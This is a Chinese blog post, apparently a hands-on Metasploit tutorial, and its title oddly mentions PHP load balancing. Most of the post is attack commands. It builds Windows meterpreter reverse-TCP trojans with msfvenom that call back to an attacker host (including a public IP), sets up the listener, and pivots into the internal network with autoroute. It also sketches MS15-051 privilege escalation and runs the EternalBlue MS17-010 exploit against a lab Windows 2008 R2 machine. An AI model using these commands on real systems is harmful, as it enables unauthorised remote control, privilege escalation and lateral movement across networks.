php-msf 负载均衡,Metasploit常用操作命令

0x00 简述

0x01基本操作

1.启动MSF

这里用的是kali里面的msf，需要开启msf依赖的数据库为PostgreSQL：

service postgresql start# 启动 postgresql数据库

msfconsole# 启动msf

这样就算是启动成功了，左下角会变成msf >。

2.配置和生成木马

在kali下用ifconfig查询当前攻击机的ip，用于生成木马和配置监听。

ifconfig# 查ip

当前ip为192.168.184.129。

首先使用msf生成exe木马命令：

msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=监听端口 -f exe /位置/test.exe

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.184.129 LPORT=5555 -f exe -o /var/test.exe

msfvenom -p windows/meterpreter/reverse_tcp LHOST=45.77.249.160 LPORT=6666 -f exe -i 50 -o c:/xx.exe

这里监听5555端口，配置生成木马。监听面板配置命令：

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set LHOST 45.77.249.160

set LPORT 6666

exploit

这里开始监听，当木马被运行时，这里会接收到并返回一个meterpreter。

3.上线

里我用Windows2008R2虚拟机测试了下上线。

成功。

执行列目录ls：

执行shell操作命令行：

回到meterpreter，这里可以继续探测内网。

getuid# 查看当前用户

可以通过获取网段增加路由的方式对内网环境的其他主机继续探测。

run get_local_subnets# 获取网段

run autoroute -s 192.168.184.0 -n 255.255.255.0

# 增加路由

run autoroute -p# 查看路由设置

0x02 使用MSF提权

这里对Windows2008R2虚拟机提权。

1.查找exp

首先需要查找EXP。使用serach命令。

search MS15-051# 这里直接使用MS15-051

2.利用

这里msf search一直查不到东西。

但是具体流程是选用MS15-051进行提权，再打开一个msf进行监听。查看权限即提权成功。

exploit/windows/local/xxx

set session 10

exploit

0x03 利用MS17010

1.配置exp

目标机IP：192.168.184.131

系统：windows 2008 R2

use exploit/windows/smb/ms17_010_eternalblue

set rhost 192.168.184.131

set LHOST 45.77.249.160

set LPORT 6666

show options

exploit

2.利用

配置完目标机直接执行命令exploit。

成功的话会提示win并且返回一个meterpreter。

成功。

喜欢 (4)or分享 (0)